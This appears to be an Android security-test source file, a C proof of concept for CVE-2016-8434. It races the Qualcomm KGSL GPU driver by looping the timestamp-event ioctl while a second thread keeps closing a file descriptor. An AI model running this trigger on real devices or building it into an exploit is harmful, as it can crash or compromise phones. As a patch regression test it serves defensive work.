Home | History | Annotate | Download | only in CVE-2016-8434
      1 /*
      2  * Copyright (C) 2017 The Android Open Source Project
      3  *
      4  * Licensed under the Apache License, Version 2.0 (the "License");
      5  * you may not use this file except in compliance with the License.
      6  * You may obtain a copy of the License at
      7  *
      8  *      http://www.apache.org/licenses/LICENSE-2.0
      9  *
     10  * Unless required by applicable law or agreed to in writing, software
     11  * distributed under the License is distributed on an "AS IS" BASIS,
     12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
     13  * See the License for the specific language governing permissions and
     14  * limitations under the License.
     15  */
     16 #define _GNU_SOURCE
     17 #include <stdlib.h>
     18 #include <unistd.h>
     19 #include <errno.h>
     20 #include <stdio.h>
     21 #include <dirent.h>
     22 #include <string.h>
     23 #include <sys/stat.h>
     24 #include <sys/ioctl.h>
     25 #include <stdio.h>
     26 #include <string.h>
     27 #include <dlfcn.h>
     28 #include <sys/time.h>
     29 #include <sys/mman.h>
     30 #include <sys/syscall.h>
     31 #include <sys/resource.h>
     32 #include <fcntl.h>
     33 #include <pthread.h>
     34 #include <unistd.h>
     35 #include <sched.h>
     36 
     37 #define KGSL_CONTEXT_SAVE_GMEM		0x00000001
     38 #define KGSL_CONTEXT_NO_GMEM_ALLOC	0x00000002
     39 /* This is a cmdbatch exclusive flag - use the CMDBATCH equivalent instead */
     40 #define KGSL_CONTEXT_SUBMIT_IB_LIST	0x00000004
     41 #define KGSL_CONTEXT_CTX_SWITCH		0x00000008
     42 #define KGSL_CONTEXT_PREAMBLE		0x00000010
     43 #define KGSL_CONTEXT_TRASH_STATE	0x00000020
     44 #define KGSL_CONTEXT_PER_CONTEXT_TS	0x00000040
     45 #define KGSL_CONTEXT_USER_GENERATED_TS	0x00000080
     46 /* This is a cmdbatch exclusive flag - use the CMDBATCH equivalent instead */
     47 #define KGSL_CONTEXT_END_OF_FRAME	0x00000100
     48 #define KGSL_CONTEXT_NO_FAULT_TOLERANCE 0x00000200
     49 /* This is a cmdbatch exclusive flag - use the CMDBATCH equivalent instead */
     50 #define KGSL_CONTEXT_SYNC               0x00000400
     51 #define KGSL_CONTEXT_PWR_CONSTRAINT     0x00000800
     52 
     53 #define KGSL_IOC_TYPE 0x09
     54 struct kgsl_drawctxt_create {
     55 	unsigned int flags;
     56 	unsigned int drawctxt_id; /*output param */
     57 };
     58 
     59 #define IOCTL_KGSL_DRAWCTXT_CREATE \
     60 	_IOWR(KGSL_IOC_TYPE, 0x13, struct kgsl_drawctxt_create)
     61 
     62 /* destroy a draw context */
     63 struct kgsl_drawctxt_destroy {
     64 	unsigned int drawctxt_id;
     65 };
     66 
     67 #define IOCTL_KGSL_DRAWCTXT_DESTROY \
     68 	_IOW(KGSL_IOC_TYPE, 0x14, struct kgsl_drawctxt_destroy)
     69 
     70 struct kgsl_timestamp_event {
     71 	int type;                /* Type of event (see list below) */
     72 	unsigned int timestamp;  /* Timestamp to trigger event on */
     73 	unsigned int context_id; /* Context for the timestamp */
     74 	void __user *priv;	 /* Pointer to the event specific blob */
     75 	size_t len;              /* Size of the event specific blob */
     76 };
     77 #define IOCTL_KGSL_TIMESTAMP_EVENT \
     78 	_IOWR(KGSL_IOC_TYPE, 0x33, struct kgsl_timestamp_event)
     79 int g_fd = -1;
     80 int g_ctx_id = -1;
     81 int g_sync_fence_fd = -1;
     82 struct kgsl_timestamp_event g_event;
     83 static pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
     84 static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
     85 
     86 void trigger_kgsl_create_drawctx() {
     87     struct kgsl_drawctxt_create ctx;
     88     ctx.flags = KGSL_CONTEXT_PREAMBLE | KGSL_CONTEXT_NO_GMEM_ALLOC;
     89     ioctl(g_fd, IOCTL_KGSL_DRAWCTXT_CREATE, &ctx);
     90     g_ctx_id = ctx.drawctxt_id;
     91 }
     92 
     93 void trigger_kgsl_free_drawctx(int id) {
     94     struct kgsl_drawctxt_destroy ctx;
     95     ctx.drawctxt_id = id;
     96     ioctl(g_fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &ctx);
     97 
     98 }
     99 
    100 void trigger_kgsl_timestamp_event() {
    101     ioctl(g_fd, IOCTL_KGSL_TIMESTAMP_EVENT, &g_event);
    102 }
    103 
    104 int open_driver() {
    105     char* dev_path = "/dev/kgsl-3d0";
    106     g_fd = open(dev_path, O_RDWR);
    107     return g_fd;
    108 }
    109 
    110 
    111 void setup_privi_and_affinity(int privi, unsigned long cpu_mask) {
    112     setpriority(PRIO_PROCESS, gettid(), privi);
    113 }
    114 
    115 
    116 void* race_thread(void* arg) {
    117     setup_privi_and_affinity(-19, 2);
    118     pthread_mutex_lock(&mutex);
    119     pthread_cond_wait(&cond, &mutex);
    120     pthread_mutex_unlock(&mutex);
    121     while (1) {
    122         close(4);
    123     }
    124     return NULL;
    125 }
    126 
    127 int main(int argc, char**argv) {
    128     setup_privi_and_affinity(-19, 1);
    129 
    130     if (open_driver() < 0) {
    131         return -1;
    132     }
    133     trigger_kgsl_create_drawctx();
    134 
    135     g_event.type = 2;
    136     g_event.context_id = g_ctx_id;
    137     g_event.len = 4;
    138     g_event.priv = malloc(0x1000);
    139     g_event.timestamp = 0;
    140     mprotect(g_event.priv, 0x1000, PROT_READ);
    141 
    142     pthread_t tid;
    143     pthread_create(&tid, NULL, race_thread, NULL);
    144     usleep(100 * 1000);
    145 
    146     pthread_cond_signal(&cond);
    147     usleep(20);
    148     while (1) {
    149         trigger_kgsl_timestamp_event();
    150     }
    151 
    152     return 0;
    153 }
    154